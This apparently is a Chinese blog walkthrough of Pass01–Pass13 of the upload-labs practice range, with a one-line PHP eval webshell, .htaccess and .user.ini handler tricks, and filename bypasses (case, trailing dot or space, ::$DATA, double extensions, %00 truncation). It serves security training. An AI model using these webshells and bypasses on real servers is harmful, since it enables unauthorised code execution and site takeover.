一、环境准备

① - 靶场的搭建

  • 下载地址:upload-labs
  • upload-labs靶场曾有过一次更新,更新新添加了一道Pass-05,有一些以前的教程的题号与这篇教程不符合,请各位自行分辨
  • 本篇作者所用到的PHP版本为5.4.45,只有在做部分题目时需要修改
  • Pass03的绕过需要配置apache的httpd.conf文件


    作者在小皮面板上配置均失败,只在phpstudy上配置成功,且版本限制在5.4.45

  • Pass05的绕过需要服务器脚本语言为PHP,且服务器使用CGI/FastCGI模式(在phpstudy中配置nts即可,用完之后记得设置回来)
  • Pass12与Pass13的绕过需要配置php版本小于5.3.29,且php.ini中的magic_quotes_gpc为OFF状态

注意:更改配置之后记得重启服务器

② - 准备webshell

  1. 测试用webshell
# shell.php → 测试所用的phpinfo
<?php phpinfo(); ?>
  1. 一句话木马
# webshell.php → 一句话木马
<?php @eval($_POST['pass']); ?>

③ - 说明

  1. 确认webshell上传成功的演示只在Pass01演示一遍
  2. 本题使用的webshell均为最简单的phpinfo(),一句话木马getshell会在Pass02演示一遍,之后将不再演示
  3. webshell最好设置不同名,或者在每次上传成功后删除,避免出现绕过失败但测试成功的情况
  4. Pass14~Pass21的题解见:打靶归来 - 详解upload-labs靶场(下)

二、题解

【Pass01 - 前端Javascript过滤】

题目:


绕过方法:

本题使用Javascript代码进行过滤,禁用网站的Javascript权限即可完成绕过

第一步:禁用网站权限

第二步:上传webshell,出现无法显示的图片说明上传成功

第三步:上传成功后,通过浏览器的返回结果得到webshell的存储位置,访问webshell



出现php版本信息代表上传成功!

【Pass02 - MIME类型过滤】

题目:


绕过方法:

通过抓包修改请求头的MIME类型绕过过滤

第一步:上传webshell
第二步:抓包,修改MIME类型

第三步:上传后,访问webshell

第四步:使用蚁剑进行getshell

出现2操作说明webshell能够连接,接下来可以测试命令的执行

执行成功,可以进行getshell

— Pass03 ~ Pass05 黑名单检测使用特殊方法绕过

【Pass03 - 使用其它后缀名绕过】

题目:


绕过方法:

本题使用黑名单过滤,且只过滤原始的后缀,所以可以使用不在其黑名单中的后缀进行绕过,Pass04和Pass05的方法可以在这一题使用,也可以使用其它的后缀名进行绕过。但前提是apache的http.conf文件做了如此配置

第一步:上传后缀名为.phtml(根据配置尝试)的webshell
第二步:确认webshell是否上传成功

【Pass04 - 利用.htaccess绕过】

题目:


绕过方法:

本题没有过滤.htaccess文件,可以通过上传.htaccess文件来为一个webshell文件更改后缀,来帮助webshell进行绕过

第一步:构造一个.htaccess文件

<FilesMatch "1.png">
setHandler application/x-httpd-php
</FilesMatch>

第二步:将.htaccess文件上传到服务器

第三步:将WebShell文件修改为指定的名字与后缀(1.png),上传到服务器

第四步:直接访问更改了后缀的WebShell文件即可执行该文件(1.png)

【Pass05 - 利用.user.ini文件包含】

题目:


绕过方法

本题没有过滤.user.data文件,且在目录下存在一个已知的php文件,可以通过.user.data文件配置使原有的php文件包含webshell

第一步:构造.user.php文件并上传

auto_prepend_file=1.png


第二步:上传指定文件名的webshell

上传后等待五分钟(默认配置),使文件生效
第三步:打开已知的php文件,即可执行webshell

— Pass06 ~ Pass11 黑名单检测修改后缀名绕过

这些类型过于简单,就不再按步骤讲解了,只会简单的分析源码和说明原理

# 以下代码是较为完整的放防御姿势,但还是有绕过方法,可以对比这个来判断有哪些最简单的绕过姿势
$file_name = trim($_FILES['upload_file']['name']);//提取文件名
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');//从文件名中提取后缀名
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

【Pass06 - 利用大小写绕过】

题目:


绕过方法

缺少大小写转换,可以通过修改后缀的大小写来绕过
原理:Windows中对大小写是不敏感的

【Pass07 - 利用空格绕过】

题目:


绕过方法

缺少末尾去空格,可以给文件名后缀末添加空格来绕过
原理:Windows在保存文件时,会自动去除末尾的空格

【Pass08 - 利用.绕过】

题目:


绕过方法

缺少末尾去.,可以给文件名后缀末添加.来绕过
原理:Windows在保存文件时,会自动去除末尾的.

【Pass09 - 利用::$DATA绕过】

题目:


绕过方法

缺少去除字符串::$DATA,利用在后缀名之后添加字符串::$DATA绕过

【Pass10 - 后缀名绕过的综合利用】

题目:


绕过方法

仔细看一下,这题的代码就是之前写出来的较为完整的防御姿势,可以说把之前出现的所有情况都考虑完全了,但仍然存在绕过方法。
这一题可以使用点+空格+点绕过,我们来分析以下这种方法的可行性

 # 假设上传的文件为[shell.php. .]$file_name = trim($_FILES['upload_file']['name']); //获取文件名[shell.php. .]$file_name = deldot($file_name); //获取文件名[shell.php. ]$file_ext = strrchr($file_name, '.'); //获取后缀名[.php. ]$file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA', '', $file_ext);$file_ext = trim($file_ext); //获取后缀名[.php.],最终可以实现绕过

使用这种方式,可以绕过之前出现的大部分黑名单检测,所以说在Windows系统种使用黑名单检测是真的不安全

【Pass11 - 双写绕过】

题目:


绕过方法

将数据替换为空,则可以使用双写绕过,即在后缀名中嵌套后缀名进行绕过

— Pass12 ~ Pass13 白名单检测使用00截断绕过

【Pass12 - URL路径可控的%00截断】

题目:


绕过方法

让URL中最后一个.后的数据符合白名单的条件,然后利用%00截断使它无效(URL中遇到%00就会认为读取结束,修改路径值让路径值在%00前的数据被当作文件名)
即:../upload/shell.php%00shell.png会被当作../upload/shell.php

第一步:修改webshell的后缀为白名单内的后缀并上传
第二步:抓包,然后修改URL值

第三步:访问%00前填入的文件名,判断是否上传成功

【Pass13 - POST路径可控的0x00截断】

题目:


绕过方法

当url中出现了0x00就会认为读取已经结束。若文件的保存路径通过表单传参,则可以在保存路径参数后加上WebShell的文件名,并以0x00结束即可实现绕过

第一步:修改webshell的后缀为白名单内的后缀并上传
第二步:抓包,然后修改POST中的路径值

第二步的详细步骤:




修改完成后发包

第三步:访问0x00前填入的文件名,判断是否上传成功


下篇编写完成:打靶归来 - 详解upload-labs靶场(下)

打靶归来 - 详解upload-labs靶场(上)相关推荐

  1. 打靶归来 - 详解upload-labs靶场(下)

    一.环境准备 ① - 靶场的搭建 下载地址:upload-labs upload-labs靶场曾有过一次更新,更新新添加了一道Pass-05,有一些以前的教程的题号与这篇教程不符合,请各位自行分辨 本 ...

  2. java图片上传并解析,详解SpringMVC实现图片上传以及该注意的小细节

    本篇文章主要介绍了详解SpringMVC实现图片上传以及该注意的小细节,具有一定的参考价值,感兴趣的小伙伴们可以参考一下. 先附上图片上传的代码 jsp代码如下: ![](${path}/mall/i ...

  3. 详解HTTP的文件上传全过程(RFC1867协议)

    详解HTTP的文件上传全过程:RFC1867协议 HTTP请求头 HTTP请求体 什么是 multipart/form-data 上传文件信息的内容组成 原生Node实现客户端上传文件 原生Golan ...

  4. linux 服务器拦截http请求,详解Linux屏蔽浏览器上http请求警报的方法

    众所周知,在Linux系统中浏览器的页面上是不允许出现http请求的,如果出现了http请求就会发生错误,并且Linux系统会向用户发出警报.下面,U大侠小编就给大家详解Linux屏蔽浏览器上http ...

  5. WEB前端之网页设计③----最新最全详解/如何在网页上创建表格

    WEB前端之网页设计③--最新最全详解/如何在网页上创建表格 一.表格效果图1: <table border="0px" cellspacing="1px" ...

  6. bt协议详解 基础篇(上)

    bt协议详解 基础篇(上) 最近开发了一个免费教程的网站,产生了仔细了解bt协议的想法,所以写了这一篇文章,后续还会写一些关于搜索和索引的东西,都是在开发这个网站的过程中学习到的技术,敬请期待. 1 ...

  7. 一篇文章带你详解 HTTP 协议(上)

    文章目录,方便阅读: 一.概述 二.HTTP 工作过程 三.HTTP 协议基础 四.HTTP 协议报文结构 五.HTTP 报文首部之请求行.状态行 六.HTTP 报文首部之首部字段(重点分析) 七.H ...

  8. mqtt协议详解_IoT物联网设备上云技术方案详解

    随着传感器和通信技术的不断发展,物联网行业方兴未艾,业务链路涉及数据采集,通信连接,数据存储,数据可视化,洞察,行动决策.但,在实施过程中,碎片化的设备端通信连接难题往往就阻碍了项目落地进程. 今天, ...

  9. Android绘图Canvas十八般武器之Shader详解及实战篇(上)

    本篇文章已授权微信公众号 guolin_blog (郭霖)独家发布 前言 Android中绘图离不开的就是Canvas了,Canvas是一个庞大的知识体系,有java层的,也有jni层深入到Frame ...

最新文章

  1. python调用接口时传多个参数_python接口自动化11-post传data参数案例
  2. left join 索引失效无条件_技术分享 | MySQL 优化:JOIN 优化实践
  3. php求完数,php算法:求完全数 | 学步园
  4. 什么是框架?spring mvc框架
  5. ASP.NET企业开发框架IsLine FrameWork系列之三--七种武器
  6. javascript ES3小测试
  7. 高中电子技术——指针式万用表调零
  8. 逆袭进大厂:程序员究竟该如何学好前端?
  9. 携程旅游网与马蜂窝游客记录爬取
  10. 专利说明书检索与PDF文件下载方法
  11. Vmware安装BT5进入不了图形界面怎么办(KDE版)
  12. 春节假期,把“电影院”搬回家,泰捷WEBOX T1S 投影仪全面评测
  13. 乐于分享是一种境界的突破
  14. 服务器winsxs文件夹怎么清理工具,Winsxs文件夹内容怎么清理 Winsxs文件夹瘦身清理教程图解...
  15. oracle大对象的存储,(16 ) Oracle数据库可以存储极大的对象,CLOB表示【16】大对象。...
  16. Moles(笛卡尔树 Z Algorithm)
  17. 无法解析的外部符号 __imp____iob_func
  18. Python 绘制圆锥体(3D图)
  19. Mysql序号 查询
  20. 【TDA2x学习】3、软件架构分析

热门文章

  1. 1级能力考试知识汇总
  2. 跨年烟花但是飘零半生
  3. 技术贴:解码时AVC1和H264的差别
  4. group by内部排序
  5. 让交互更加生动!巧用CSS实现鼠标跟随 3D 旋转效果
  6. 黑色画布上的灿烂小花
  7. 海思ubootsd卡协议
  8. PHP - Xdebug安装 - 学习/实践
  9. 数据结构之N皇后问题(C语言)
  10. FineUI 子窗口关闭,传参父窗口